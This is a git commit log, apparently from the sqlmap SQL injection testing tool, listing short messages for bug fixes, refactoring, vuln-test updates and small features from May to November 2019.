Miroslav Stampar 0a266f602c Minor improvement 2019-11-21 15:58:04 +01:00
Miroslav Stampar 9fc856b3a6 Minor update 2019-11-21 14:55:05 +01:00
Miroslav Stampar 737c727e56 Minor update 2019-11-21 13:58:46 +01:00
Miroslav Stampar 5013f767a1 Minor update 2019-11-21 11:41:46 +01:00
Miroslav Stampar b2a8cb8f77 Minor update 2019-11-21 11:36:13 +01:00
Miroslav Stampar 36938f8880 Minor update 2019-11-21 10:46:26 +01:00
Miroslav Stampar 99565f2cb3 Minor update 2019-11-20 17:28:25 +01:00
Miroslav Stampar e808496ed3 Testing something out 2019-11-20 16:46:24 +01:00
Miroslav Stampar 35073ce43b Dealing more with (new) warnings 2019-11-19 13:02:53 +01:00
Miroslav Stampar 7bbeb9e841 Dealing with Python3.8 RuntimeWarning 2019-11-19 12:56:56 +01:00
Miroslav Stampar a0dca74c12 Minor patch 2019-11-19 12:21:39 +01:00
Miroslav Stampar 1f3a5b4d70 Fixes #4016 2019-11-19 11:56:01 +01:00
Miroslav Stampar d87328f799 Patch for #4015 2019-11-18 16:17:17 +01:00
Miroslav Stampar dfb74ffa84 Minor update 2019-11-18 12:37:17 +01:00
Miroslav Stampar 5044894928 Minor update of vuln tests 2019-11-18 12:08:26 +01:00
Miroslav Stampar 0a0c696e84 Minor update 2019-11-18 11:57:06 +01:00
Miroslav Stampar 0977f6df61 Bug fix (disable HTML decoding in XSS checks) 2019-11-18 11:40:07 +01:00
Miroslav Stampar f550a2281f Minor patch (SQLite --tables) 2019-11-17 22:14:32 +01:00
Miroslav Stampar 8fb6268b51 Minor patch (vuln testing) 2019-11-17 22:08:18 +01:00
Miroslav Stampar 531eca7e65 Minor patch 2019-11-17 19:33:48 +01:00
Miroslav Stampar cd61a04e5a Minor expansion of vuln tests 2019-11-17 19:27:35 +01:00
Miroslav Stampar afb3cec133 Bug fix (--where in case of boolean-based blind) 2019-11-17 19:27:19 +01:00
Miroslav Stampar c817a7065e Minor update 2019-11-17 18:54:33 +01:00
Miroslav Stampar f9efc721a9 Minor patch 2019-11-17 18:31:53 +01:00
Miroslav Stampar e57e61eccb Minor patch (drei) 2019-11-17 16:27:16 +01:00
Miroslav Stampar 11adf893c3 Minor update 2019-11-17 16:04:22 +01:00
Miroslav Stampar fbde411228 Minor update 2019-11-17 00:52:04 +01:00
Miroslav Stampar 348795767c Minor improvement 2019-11-17 00:36:39 +01:00
Miroslav Stampar be340fcf11 Patch for -d (DREI) 2019-11-17 00:22:47 +01:00
Miroslav Stampar 6d07d52ccd Minor patch 2019-11-17 00:21:55 +01:00
Miroslav Stampar ac9c2f1210 Minor improvement 2019-11-17 00:21:33 +01:00
Miroslav Stampar 45a2d2a83f Bug fix (TLS/SNI sites misbehaved over --tor/--proxy) 2019-11-15 22:42:56 +01:00
Miroslav Stampar 52a70a087e Minor patch 2019-11-15 22:42:20 +01:00
Miroslav Stampar 87b5be0a5e Minor improvement 2019-11-15 22:27:33 +01:00
Miroslav Stampar 74d3a6d77d Minor patch 2019-11-15 16:36:21 +01:00
Miroslav Stampar 8296c1ed53 Trivial patch 2019-11-15 16:27:05 +01:00
Miroslav Stampar 6a23c5974f Minor update 2019-11-15 16:24:56 +01:00
Miroslav Stampar 2a85dafba8 Removing debug leftover 2019-11-15 16:07:03 +01:00
Miroslav Stampar 1162aa89fc Minor improvement 2019-11-15 16:06:19 +01:00
Miroslav Stampar 0d140b60f1 Fixes #4012 2019-11-15 10:02:51 +01:00
Miroslav Stampar 95c5c20de4 Quick patch for #4012 2019-11-15 09:50:00 +01:00
Miroslav Stampar e34b73b685 Minor update 2019-11-15 09:41:51 +01:00
Miroslav Stampar 7e28c02948 Minor improvements 2019-11-14 14:21:53 +01:00
Miroslav Stampar aa9ff9e8a6 Minor update 2019-11-14 12:51:09 +01:00
Miroslav Stampar 8d877de9b5 Minor update 2019-11-14 12:00:50 +01:00
Miroslav Stampar 2bb5ba7fa2 Bug fix (payload escaping in XML payloads) 2019-11-14 11:49:30 +01:00
Miroslav Stampar 8d608dfdfe Minor patch (too early test start) 2019-11-14 01:29:51 +01:00
Miroslav Stampar c4ebc23336 Minor update 2019-11-13 17:53:28 +01:00
Miroslav Stampar 55d79385cc Trying something out 2019-11-13 14:19:18 +01:00
Miroslav Stampar 7425d4acfb Trying something out 2019-11-13 14:09:51 +01:00
Miroslav Stampar 15f94bd671 Trivial update 2019-11-13 13:56:11 +01:00
Miroslav Stampar 7202bb010c Trying something out for #3802 2019-11-13 13:39:25 +01:00
Miroslav Stampar 77312a8a2e Fixes #4010 2019-11-13 11:29:42 +01:00
Miroslav Stampar 60c7fb3e03 Minor update 2019-11-13 11:17:32 +01:00
Miroslav Stampar e6edecb396 Trivial update 2019-11-13 11:07:46 +01:00
Miroslav Stampar e78e07d752 Fixes #4008 2019-11-13 10:55:02 +01:00
Miroslav Stampar 25541efa44 Minor update 2019-11-12 23:32:09 +01:00
Miroslav Stampar df8fa9cd82 Minor patch 2019-11-12 23:05:32 +01:00
Miroslav Stampar 7b89613c46 Minor improvement for --forms 2019-11-12 23:02:38 +01:00
Miroslav Stampar f382443ddd Minor patch for crawling 2019-11-12 22:51:11 +01:00
Miroslav Stampar e58d68c203 Minor improvement 2019-11-12 15:38:59 +01:00
Miroslav Stampar 541cebdce9 More curl-alike options 2019-11-11 14:18:50 +01:00
Miroslav Stampar d193b6e331 Trivial update 2019-11-11 14:09:02 +01:00
Miroslav Stampar a9b6a07641 Fixes #4006 2019-11-11 14:03:43 +01:00
Miroslav Stampar 39ca71619c Trivial patch 2019-11-11 12:43:45 +01:00
Miroslav Stampar 5f3b397882 Minor update 2019-11-11 12:24:42 +01:00
Miroslav Stampar eb696e17f4 Minor update 2019-11-11 11:20:12 +01:00
Miroslav Stampar 8cdc66fdf7 Bug fix (multiple Ctrl-C in crawling mode) 2019-11-09 01:01:19 +01:00
Miroslav Stampar 72fa5a9c85 Minor update 2019-11-09 00:54:47 +01:00
Miroslav Stampar 87f6db467d Minor patches 2019-11-08 23:45:30 +01:00
Miroslav Stampar 404d8481ad Couple of minor patches 2019-11-08 23:28:51 +01:00
Miroslav Stampar 9ad3cd5176 Fixes #4004 2019-11-08 22:39:55 +01:00
Miroslav Stampar 7eb7bddb25 Minor patch 2019-11-08 15:19:50 +01:00
Miroslav Stampar a90324d592 Minor patch 2019-11-08 15:05:41 +01:00
Miroslav Stampar 6b56715447 Minor update (tends to become ugly) 2019-11-07 17:18:35 +01:00
Miroslav Stampar 360d89cecc Critical bug patch for --crawl/--forms (introduced last week) 2019-11-07 16:23:52 +01:00
Miroslav Stampar abe31c1fbf Minor update 2019-11-07 16:04:32 +01:00
Miroslav Stampar 8ec0c7a691 Trivial update 2019-11-07 13:30:11 +01:00
Miroslav Stampar 145f87c50d Dirty patch for #4001 2019-11-07 13:28:19 +01:00
Miroslav Stampar dc87e10c99 Trivial message update 2019-11-07 00:03:06 +01:00
Miroslav Stampar 39a46d66e2 Skip custom header injection check in --forms/--crawl 2019-11-06 14:53:33 +01:00
Miroslav Stampar 1b1c37e12c Minor update 2019-11-06 14:45:48 +01:00
Miroslav Stampar adbc4bae5d Update of vuln tests 2019-11-06 12:54:18 +01:00
Miroslav Stampar e4a2ac8277 Update of vuln tests 2019-11-06 12:27:47 +01:00
Miroslav Stampar c2b929301e Update of vuln tests 2019-11-06 11:52:50 +01:00
Miroslav Stampar 732267876c Bug fix for SOAP/XML (proper origValue calculation) 2019-11-06 11:39:57 +01:00
Miroslav Stampar 7a1ecf797b Dealing with ugly BeautifulSoup old version warning 2019-11-06 11:26:32 +01:00
Miroslav Stampar fdcde2a2a5 In case of bulk file, crawl-scan-crawl-scan... 2019-11-04 23:53:35 +01:00
Miroslav Stampar 6679d6f427 Trivial update 2019-11-04 22:59:08 +01:00
Miroslav Stampar bb18c4db09 Removing -x as I doubt that anybody uses it 2019-11-04 22:43:28 +01:00
Miroslav Stampar ce9618c307 Implements #3993 2019-11-04 12:53:29 +01:00
Miroslav Stampar c91fcbb0c7 Minor update 2019-11-03 00:33:50 +01:00
Arjun V d43f15be38 Update Orcale System Databases in settings.py (#3996)
Adding the following system schemas to the list of Oracle System Schemas:

ADAMS, JONES, CLARK, BLAKE, DEMO, AURORA$ORB$UNAUTHENTICATED, AWR_STAGE, CSMIG, DSSYS, PERFSTAT, TRACESVR, TSMSYS

http://www.orafaq.com/wiki/List_of_default_database_users
2019-11-03 00:18:11 +01:00
Miroslav Stampar 85def6a662 Adding new option --results-file (thank you Hyundai) 2019-11-01 17:27:30 +01:00
Miroslav Stampar fdfcbb9161 Minor language update 2019-10-31 23:04:26 +01:00
Miroslav Stampar 096953991d Minor update 2019-10-31 22:47:36 +01:00
Miroslav Stampar a660828cec Implementation of crawling results normalization 2019-10-31 22:07:16 +01:00
Miroslav Stampar 273004396c Trivial language update 2019-10-31 21:40:28 +01:00
Miroslav Stampar 1a026e08dc Fixes special cases (e.g. cookie with asterisk skipped GET/POST tests) 2019-10-31 21:27:48 +01:00
Miroslav Stampar e21d4ae344 Minor update 2019-10-31 20:59:14 +01:00
Miroslav Stampar 3af15fee60 Trivial update 2019-10-31 20:49:38 +01:00
Miroslav Stampar 7a6e2df997 Patch for --forms/--crawl (if no protocol specified) 2019-10-31 20:40:37 +01:00
Miroslav Stampar 5c5719b81a Minor refactoring 2019-10-31 20:38:37 +01:00
Miroslav Stampar 7c9c6e4a59 Minor update (thank you Hyundai) 2019-10-31 16:57:15 +01:00
AnonProgrammer007 a422c9bc45 Update README.md (#3992) 2019-10-31 08:37:33 +01:00
Miroslav Stampar 4ede1b80a4 Minor update 2019-10-31 08:31:20 +01:00
Miroslav Stampar 869adc6fef Minor update 2019-10-29 15:07:29 +01:00
Miroslav Stampar a75ab8b128 Minor improvement of table dump formatting 2019-10-29 15:00:53 +01:00
Miroslav Stampar eec9cca85b Minor update 2019-10-29 13:52:11 +01:00
Miroslav Stampar 18d22faacd Fixes #3988 2019-10-28 12:31:17 +01:00
Miroslav Stampar a2ee93344e Adding Tarsier eyes (future logo) 2019-10-23 15:35:44 +02:00
Miroslav Stampar ab2cae3957 Implements #3971 2019-10-23 14:41:14 +02:00
Miroslav Stampar fd8028bb18 Fixes #3977 2019-10-22 14:43:29 +02:00
Miroslav Stampar 1d1da45782 Fixes #3978 2019-10-22 14:39:53 +02:00
Miroslav Stampar 8492509919 Minor update related to the #3976 2019-10-21 10:11:38 +02:00
Miroslav Stampar 9a624605b6 Falling back to web backdoor if UDF fails 2019-10-17 15:16:21 +02:00
Miroslav Stampar 1c3982c32d Update (inlining with other payload styles) 2019-10-17 13:56:41 +02:00
Miroslav Stampar 42480ba901 Update regarding #3928 2019-10-17 13:39:47 +02:00
Miroslav Stampar d02ee47157 Minor cosmetics 2019-10-17 11:53:53 +02:00
Miroslav Stampar 8340f8bcad Minor update 2019-10-17 10:53:12 +02:00
Miroslav Stampar 6bde50dbdc Patch for #3964 2019-10-15 16:08:58 +02:00
Miroslav Stampar 35893c49b8 Minor update of vuln-test 2019-10-15 12:29:39 +02:00
Miroslav Stampar 1a5ed610ce Bug fix (backslash escaping of JSON string values) 2019-10-15 01:05:34 +02:00
Miroslav Stampar 19925b806b Update regarding #3968 2019-10-14 10:42:10 +02:00
Miroslav Stampar 4b5927b734 Fixes #3967 2019-10-14 09:54:00 +02:00
Miroslav Stampar 1fa81fedf3 Patching like a boss (Issue #3962) 2019-10-10 16:23:26 +03:00
Miroslav Stampar 8407344991 Fixes #3961 2019-10-10 16:02:43 +03:00
Miroslav Stampar 17658619dc Fixes #3960 2019-10-10 15:40:56 +03:00
Miroslav Stampar 627d99089f Proper patch for #3955 2019-10-09 20:41:33 +03:00
Miroslav Stampar 9b42319d0e Proper message (Issue #3958) 2019-10-09 20:26:12 +03:00
Miroslav Stampar 63c2d2050d Fixes #3953 2019-10-09 20:06:47 +03:00
Miroslav Stampar aed137ad80 Fixes #3948 2019-10-07 14:20:18 +02:00
Miroslav Stampar 9fd4a4f0d1 Removing deprecated files (online versions available) 2019-10-04 14:15:05 +02:00
Miroslav Stampar 57511ac9df Trivial update 2019-10-04 14:12:15 +02:00
Miroslav Stampar 5f41d94602 Minor update 2019-10-04 13:51:12 +02:00
Miroslav Stampar c8a4e6378f Minor improvement for --forms 2019-10-03 15:09:59 +02:00
Miroslav Stampar 08d3228b5f Minor improvement of --forms (jquery) 2019-10-03 14:38:46 +02:00
Miroslav Stampar 5cc36b452e Minor improvement for crawling 2019-10-02 13:08:13 +02:00
Miroslav Stampar d72660ef04 Adding a support for option-less URL arg 2019-10-01 15:37:09 +02:00
Miroslav Stampar 4833fb3aa6 Adding autocompletion script 2019-09-30 17:50:25 +02:00
Miroslav Stampar f437a54561 Update regarding #3944 2019-09-27 21:59:20 +02:00
Miroslav Stampar f05f84b6e5 Minor bug fix 2019-09-27 21:35:21 +02:00
Miroslav Stampar 871ebfdb70 Fixes #3943 2019-09-27 21:03:21 +02:00
Miroslav Stampar d34619232f Implements #3940 2019-09-26 10:36:47 +02:00
Miroslav Stampar 5168daf6ce Fixes #3939 2019-09-24 10:24:43 +02:00
Miroslav Stampar 95e476d5c9 Fixes #3937 2019-09-22 20:14:43 +02:00
Miroslav Stampar cc8209d648 Patch related to the #3927 2019-09-16 19:29:38 +02:00
Miroslav Stampar 6ec6e86937 Update regarding #3928 2019-09-16 10:18:51 +02:00
Miroslav Stampar 018908c2b1 Fixes #3925 2019-09-16 10:11:28 +02:00
Miroslav Stampar 9e69d6076d Fixes #3929 2019-09-16 10:08:10 +02:00
Miroslav Stampar ad785ea0a2 Fixes #3926 2019-09-16 10:03:19 +02:00
Miroslav Stampar b51f02c2ca Patch related to #3918 2019-09-13 16:30:26 +02:00
Miroslav Stampar ea3de16f24 Implementing PEP 479 (fixes #3924) 2019-09-13 11:38:26 +02:00
Miroslav Stampar f29c4e1e07 Minor generalization regarding last commit (#3917) 2019-09-12 15:29:15 +02:00
Miroslav Stampar e8871b8a99 Fixes #3917 2019-09-12 15:20:00 +02:00
Miroslav Stampar 8b88bb82d3 Minor refactoring 2019-09-11 14:05:25 +02:00
Miroslav Stampar 30fba849e2 Implements #3916 2019-09-09 13:56:37 +02:00
Miroslav Stampar 617c336813 Minor improvements 2019-09-09 11:45:23 +02:00
Miroslav Stampar 89a5892dd9 Dirty patch for #3915 2019-09-09 11:15:13 +02:00
Miroslav Stampar af8a2afde1 Cosmetics (trivial) 2019-09-05 11:33:56 +02:00
Miroslav Stampar ceaf387533 Fixes #3912 2019-09-05 11:22:10 +02:00
Miroslav Stampar e5a1377c36 Minor update 2019-09-05 11:15:43 +02:00
Miroslav Stampar bb61b08c83 Minor update of fingerprints 2019-09-03 14:01:37 +02:00
Miroslav Stampar 2d63441cc4 Minor update 2019-09-02 15:58:57 +02:00
Miroslav Stampar 80f6460f72 Minor update for Firebird 2019-09-02 12:22:32 +02:00
Miroslav Stampar f2c2864ab4 Couple of trivial updates 2019-08-30 14:43:56 +02:00
Miroslav Stampar 9eda11d081 Trivial update 2019-08-29 17:07:16 +02:00
Miroslav Stampar 54e93e53df Fixes #3898 2019-08-27 13:41:30 +02:00
Miroslav Stampar f6e1f11711 Fixes #3897 2019-08-27 13:39:18 +02:00
Miroslav Stampar 0a21635e7f Adding a minor thing (history reasons) 2019-08-26 17:33:03 +02:00
Miroslav Stampar 83aa1ac6a7 Implements #3895 2019-08-26 17:27:32 +02:00
Miroslav Stampar 0aa15a72b0 Minor refactoring 2019-08-26 16:51:17 +02:00
Miroslav Stampar fecd830622 Minor update 2019-08-26 16:46:21 +02:00
Miroslav Stampar 32a4f6c32f Initial patch for #3894 (not final) 2019-08-25 13:20:06 +02:00
Miroslav Stampar 9a47b4025b Trivial update/patch 2019-08-23 09:49:16 +02:00
Miroslav Stampar 1979e7d75b Fixes #3888 2019-08-23 09:40:49 +02:00
Miroslav Stampar 95e6b6c0af Implements #3835 2019-08-22 11:41:06 +02:00
Miroslav Stampar 50b8de00bb Patches #3887 2019-08-22 10:43:38 +02:00
Miroslav Stampar 81289fa7cd Fixes #3886 2019-08-21 15:29:51 +02:00
Miroslav Stampar 576d81aa49 Minor log message update 2019-08-21 15:19:42 +02:00
Miroslav Stampar 009a3c8391 Minor wording update 2019-08-21 14:08:13 +02:00
Miroslav Stampar 65b0dbd4c4 Patches #3884 2019-08-20 00:35:13 +02:00
Miroslav Stampar 5f411f73e7 Fixes #3883 2019-08-20 00:22:55 +02:00
TaeGeun Moon dadb33bfdb Add Korean translation for README (#3881)
* Add Korean translation for README

* Only on main page

* Only on main page
2019-08-16 10:28:23 +02:00
Miroslav Stampar 8584c0b021 Fixes #3880 2019-08-16 09:56:03 +02:00
Miroslav Stampar 3f1a8e81b4 Adding support for #3870 2019-08-13 15:22:02 +02:00
Miroslav Stampar 0e14647573 Minor refactoring 2019-08-13 14:59:10 +02:00
Miroslav Stampar bfe8785ed5 Minor regrouping 2019-08-13 14:55:26 +02:00
Miroslav Stampar 412301bb18 Another trivial patch related to the last commit 2019-08-13 12:29:18 +02:00
Miroslav Stampar fd4becf389 Minor deprecation patch (drei) 2019-08-13 12:27:28 +02:00
Miroslav Stampar aa2682ec16 Fixes #3873 2019-08-13 12:23:45 +02:00
Miroslav Stampar 94ef433a37 Minor update for #3874 2019-08-13 11:58:33 +02:00
Miroslav Stampar 15f6796b04 Fixes #3871 2019-08-11 01:32:20 +02:00
Miroslav Stampar de63238897 Minor patch for --threads and multi Ctrl-C 2019-08-06 02:54:18 +02:00
Miroslav Stampar 1824e5b094 Trivial removal of leftover 2019-08-04 01:05:28 +02:00
Miroslav Stampar a42a7c88bd Fixes #3841 2019-08-04 01:05:13 +02:00
Miroslav Stampar b5063fc25a Implementation for #3859 2019-08-02 20:29:52 +02:00
Miroslav Stampar 093b36f12d Minor patch 2019-08-02 19:33:16 +02:00
Miroslav Stampar a9de51380b Implementation for #3845 2019-07-31 20:00:51 +02:00
Miroslav Stampar ec0be6519f Minor update 2019-07-31 19:53:20 +02:00
Miroslav Stampar 9e8aec37c8 Minor patch 2019-07-30 20:31:22 +02:00
Miroslav Stampar 1f644bd3ae Fixes #3854 2019-07-30 20:28:56 +02:00
Miroslav Stampar 86abf179f2 Fixes #3850 2019-07-30 20:12:45 +02:00
Miroslav Stampar 4a6ff82273 Patch for #3851 2019-07-24 23:43:08 +02:00
Miroslav Stampar 198ceb8ba1 Minor update regarding the #3834 2019-07-19 12:24:34 +02:00
Miroslav Stampar 0bc5069042 Implements #3834 2019-07-19 12:17:07 +02:00
Miroslav Stampar bd1ea4fd73 Fixes #3837 2019-07-18 20:32:02 +02:00
Miroslav Stampar db90ff9c3f Fixing mess with --common-files --threads>1 (threads in threads - '.shared.' hell) 2019-07-18 14:59:42 +02:00
Miroslav Stampar b62680b4bc Minor update (--technique=E --common-files) 2019-07-18 13:26:58 +02:00
Miroslav Stampar 819bf47a11 Minor update (storing force-partial) 2019-07-18 12:16:03 +02:00
Miroslav Stampar f06e9ecb58 Minor update for #3833 2019-07-18 11:58:40 +02:00
Miroslav Stampar 8fda828bc9 Minor refactoring 2019-07-18 11:27:00 +02:00
Miroslav Stampar 453a6fbc6f Update for #3831 2019-07-17 13:20:24 +02:00
Miroslav Stampar 9d0f446c24 Dummy patch for #3830 2019-07-17 13:03:48 +02:00
Miroslav Stampar e6173d7eaa Minor update 2019-07-17 10:30:14 +02:00
Miroslav Stampar 1b0488160e Minor update 2019-07-16 15:07:20 +02:00
Miroslav Stampar 86392179c3 Minor patch related to the #3822 2019-07-16 14:02:16 +02:00
Miroslav Stampar 823119a247 Update regarding #3826 2019-07-16 13:37:41 +02:00
Miroslav Stampar 6b88fa3a30 Minor patch 2019-07-16 09:40:59 +02:00
Miroslav Stampar 3c4aadf995 Fixes #3823 2019-07-15 13:08:22 +02:00
Miroslav Stampar 34ed2c51ac Minor style update 2019-07-12 14:19:25 +02:00
Miroslav Stampar eb14f296f6 Fixes #3820 2019-07-12 13:41:07 +02:00
Miroslav Stampar 7d43429379 Fixes #3819 2019-07-12 12:18:56 +02:00
Miroslav Stampar c3a95e81f5 Fixes #3797 2019-07-11 12:40:56 +02:00
Miroslav Stampar c1ae1b432e Update regarding #3813 2019-07-11 11:30:21 +02:00
Miroslav Stampar 84d0b346e7 Patch for #3816 2019-07-11 11:13:49 +02:00
Miroslav Stampar 4c8d348e2f Fixes #3812 2019-07-11 10:56:38 +02:00
Miroslav Stampar 752aed2986 Patch for #3815 2019-07-10 13:49:41 +02:00
Miroslav Stampar e10a96610d Minor update 2019-07-10 10:49:05 +02:00
Miroslav Stampar 090cbf75f1 Minor update for #3808 2019-07-08 13:48:13 +02:00
Miroslav Stampar 71b63c9262 Update regarding 3804 2019-07-08 12:25:16 +02:00
Miroslav Stampar f85abafd79 Patch for #3805 2019-07-08 11:55:04 +02:00
Miroslav Stampar 40bc53537c Fixes #3806 2019-07-08 11:53:19 +02:00
Miroslav Stampar b4c00f4172 Update regarding #3802 2019-07-07 16:17:24 +02:00
Miroslav Stampar d0c48df62c Fixes #3801 2019-07-07 15:56:54 +02:00
Miroslav Stampar 3f99ec638f Minor update 2019-07-04 12:03:26 +02:00
Miroslav Stampar 83e1daab96 Fixes #3796 2019-07-04 11:18:55 +02:00
Miroslav Stampar f9489c3352 Minor patch (fixes #3795) 2019-07-04 11:07:25 +02:00
Miroslav Stampar 3676cef79b Preparing for something something 2019-07-03 16:30:18 +02:00
Miroslav Stampar 25f29ca6b0 Minor updates 2019-07-03 10:56:05 +02:00
Miroslav Stampar a7695dd06f Fixes #3792 2019-07-03 09:17:25 +02:00
Miroslav Stampar 7b668127fc Minor update 2019-07-01 10:54:11 +02:00
Miroslav Stampar 3abd3e1a8d Patching silent per-thread issue with technique switching (fixes #3784) 2019-07-01 10:43:05 +02:00
Miroslav Stampar 32e09c8dfb Couple of updates for #2908 2019-06-28 13:56:48 +02:00
Miroslav Stampar aa9b5e4e0c Implements #2908 2019-06-27 17:28:43 +02:00
Miroslav Stampar c938d77be9 Fixes #3781 2019-06-27 01:48:35 +02:00
Miroslav Stampar 580dc2a4e2 Removing junk 2019-06-26 16:57:51 +02:00
Miroslav Stampar cb170f1f28 Implements #3780 2019-06-26 15:53:18 +02:00
Miroslav Stampar 5650e1a1a4 Fixes #3776 2019-06-26 11:31:13 +02:00
Miroslav Stampar 39cb938827 Fixes #3775 2019-06-26 11:06:50 +02:00
Miroslav Stampar de77ce131f Patches #3773 2019-06-26 11:02:43 +02:00
Miroslav Stampar e355a087a4 Fixes #3767 2019-06-21 10:15:36 +02:00
Miroslav Stampar e565fa1fad Dirty fix for #3766 2019-06-18 23:16:53 +02:00
Miroslav Stampar 9d055c723b Minor update 2019-06-18 00:59:20 +02:00
Miroslav Stampar 89af62ab95 Minor update 2019-06-18 00:45:28 +02:00
Miroslav Stampar 60f69a5ca0 Fixes #3764 2019-06-17 16:40:08 +02:00
Miroslav Stampar 797bc7b75f Fixes #3762 2019-06-17 14:59:48 +02:00
Miroslav Stampar 8220b6264c Fixes #3759 2019-06-16 17:23:46 +02:00
Miroslav Stampar 3b3f4926e4 Patch for #3756 and #3761 2019-06-16 16:21:18 +02:00
Miroslav Stampar 27e2409e17 Fixes #3755 2019-06-14 12:20:38 +02:00
Miroslav Stampar 8eaac41e01 Fixes #3752 2019-06-13 11:05:45 +02:00
Miroslav Stampar 0db8b8e268 Minor renaming 2019-06-13 10:59:56 +02:00
Miroslav Stampar 468eed8532 Fixes #3753 2019-06-13 10:58:21 +02:00
Miroslav Stampar 5650abbb4a Adding support for argparse 2019-06-11 01:45:23 +02:00
Miroslav Stampar a9d0ecbc66 Minor patch (argparse preparation) 2019-06-10 23:23:36 +02:00
Miroslav Stampar 446581496f Probably fixes #3744 2019-06-09 01:28:21 +02:00
Miroslav Stampar ce3abdaa4d Fixes #3745 2019-06-09 01:11:29 +02:00
Miroslav Stampar e30155b657 Minor patch (multi-target resume) 2019-06-07 10:37:13 +02:00
Miroslav Stampar fa1052e8fc Trivial patch regarding #3741 2019-06-07 01:39:11 +02:00
Miroslav Stampar bade832a41 Fixes #3741 2019-06-07 01:34:13 +02:00
Miroslav Stampar 90a735e3da Adding advice(s) in case of no provided parameters 2019-06-07 00:55:36 +02:00
Miroslav Stampar 28c5a709bd Minor renaming 2019-06-07 00:21:43 +02:00
Miroslav Stampar 02c8f47892 Adding support for WebSocket over SSL (wss://) 2019-06-06 23:45:30 +02:00
Miroslav Stampar 8a97e7edcc Trivial renaming 2019-06-06 23:13:34 +02:00
Miroslav Stampar 10152db8ee Minor patch for PIP --smoke 2019-06-06 13:40:32 +02:00
Miroslav Stampar 3d150233c5 Removing old file 2019-06-06 13:09:08 +02:00
Miroslav Stampar 87525d8bcb Adding deprecated options (along with obsolete) 2019-06-06 13:08:56 +02:00
Miroslav Stampar 1c2dec031c 'Calling Travis' 2019-06-06 12:46:38 +02:00
Miroslav Stampar 677dd20d6c Considerable improvement of --parse-errors (and patch) 2019-06-06 12:13:30 +02:00
Miroslav Stampar 0e409d4479 Fixes #3740 2019-06-06 11:44:27 +02:00
Miroslav Stampar ceb718107f Patch for live-testing 2019-06-05 14:23:30 +02:00
Miroslav Stampar 9df1a3d640 Minor patch for PostgreSQL UDF handling 2019-06-05 12:22:13 +02:00
Miroslav Stampar a2bc690170 Update of PostgreSQL UDFs 2019-06-05 12:16:05 +02:00
Miroslav Stampar 292c1dc91f Adding missing so libraries for PgSQL 2019-06-05 12:03:30 +02:00
Miroslav Stampar 77e1b99a2c Fixes #3739 2019-06-05 10:37:11 +02:00
Miroslav Stampar 98582d5ac6 Minor update 2019-06-04 15:46:56 +02:00
Miroslav Stampar d444bf198e Bug fix (double newline - e.g. in adjusting delay) 2019-06-04 15:24:40 +02:00
Miroslav Stampar 193889e97f Bug fix for --disable-coloring 2019-06-04 14:59:01 +02:00
Miroslav Stampar 70710df2ac Trivial update 2019-06-04 14:48:51 +02:00
Miroslav Stampar 495e7c8210 Trivial update 2019-06-04 14:44:06 +02:00
Miroslav Stampar b6fbca05d5 Couple of trivial patches 2019-06-04 13:04:31 +02:00
Miroslav Stampar 3ac1283900 Further pleasing pylint deity 2019-06-04 12:15:39 +02:00
Miroslav Stampar c154e64a19 Fixes #3737 2019-06-04 10:55:07 +02:00
Miroslav Stampar 2b79f45cbc Trivial update (unused globals) 2019-06-03 15:11:36 +02:00
Miroslav Stampar c00a642569 Implementing support for --file-read on Oracle (Issue #26) 2019-06-03 14:21:26 +02:00
Miroslav Stampar b3cdec547b Some renaming (pylint stuff) 2019-06-03 10:41:51 +02:00
Miroslav Stampar e236ba5616 Removing single-thread limit for time-based SQLi 2019-06-01 16:33:27 +02:00
Miroslav Stampar a6b6b91989 Further pleasing pylint gods 2019-06-01 13:42:57 +02:00
Miroslav Stampar f9fe1dde73 Minor patch (WAFs with 404) 2019-06-01 12:55:53 +02:00
Miroslav Stampar b83bdee764 Trivial update for #481 2019-06-01 12:38:37 +02:00
Miroslav Stampar 357989774a Minor update (resumed...) 2019-06-01 12:22:59 +02:00
Miroslav Stampar f0306af58d Fixes #3732 2019-06-01 09:17:21 +02:00
Miroslav Stampar de57a28223 Pleasing Travis CI 2019-06-01 00:55:36 +02:00
Miroslav Stampar 94c00fd3bc Trivial refactoring 2019-06-01 00:53:47 +02:00
Miroslav Stampar 956b0eb69d Trivial message update 2019-06-01 00:44:10 +02:00
Miroslav Stampar 2f5a5e5726 Fine tuning raw/binary/blob password hash cases 2019-06-01 00:31:26 +02:00
Miroslav Stampar 9a7d9a6017 Couple of patches (related to previous commit) 2019-05-31 23:32:28 +02:00
Miroslav Stampar b39a1ad0a7 Fixes #3731 2019-05-31 15:42:20 +02:00
Miroslav Stampar 42ef5618c3 Automatically detecting RAW password hashes in table dumps 2019-05-31 11:57:32 +02:00
Miroslav Stampar 9b6d30da0d Minor improvement for international strings in payloads 2019-05-31 00:17:50 +02:00
Miroslav Stampar 257fa3e9e4 Minor refactoring 2019-05-30 23:03:17 +02:00
Miroslav Stampar f8e9f9c87d Further pleasing the pylint gods 2019-05-30 23:03:17 +02:00
Miroslav Stampar 1f7ee039ad Bug fix (place overriden in case of token) 2019-05-30 23:03:17 +02:00
Miroslav Stampar c188eb5608 Minor pylint stuff 2019-05-30 23:03:17 +02:00
Miroslav Stampar e2c0def5f8 Trivial update 2019-05-30 23:03:17 +02:00
Miroslav Stampar 4077cd2342 Pleasing the pylint gods 2019-05-29 16:42:04 +02:00
Miroslav Stampar 95560da7c1 Implements #1222 2019-05-29 15:52:33 +02:00
Miroslav Stampar 00435934bc Minor improvement for --parse-errors 2019-05-28 23:44:27 +02:00
Miroslav Stampar 8ca4cffb98 Minor refactoring 2019-05-28 14:12:35 +02:00
Miroslav Stampar b08e4aed83 Minor refactoring 2019-05-28 14:02:44 +02:00
Miroslav Stampar 53847447fd Trivial drei DeprecationWarning patch 2019-05-28 13:52:27 +02:00
Miroslav Stampar 23130aa6bd Fixes #3696 2019-05-27 13:39:20 +02:00
Miroslav Stampar a25de423f2 Refactoring of obsolete switch/options cases 2019-05-27 13:23:50 +02:00
Miroslav Stampar 4857f36883 Probably fixes #3713 2019-05-27 13:15:45 +02:00
Miroslav Stampar 867e881d1d Minor refactoring 2019-05-27 13:09:13 +02:00
Miroslav Stampar b5e489f0f0 Fixes #3720 2019-05-27 13:03:25 +02:00
Miroslav Stampar eb2e78b445 Fixes #3717 2019-05-26 16:09:48 +02:00
Miroslav Stampar e6496db66f Fixes #3710 2019-05-25 08:23:05 +02:00
Miroslav Stampar e6eeac5ede Trivial message update 2019-05-25 00:33:30 +02:00
Miroslav Stampar ebfcf05512 Improvement for #3453 2019-05-25 00:22:27 +02:00
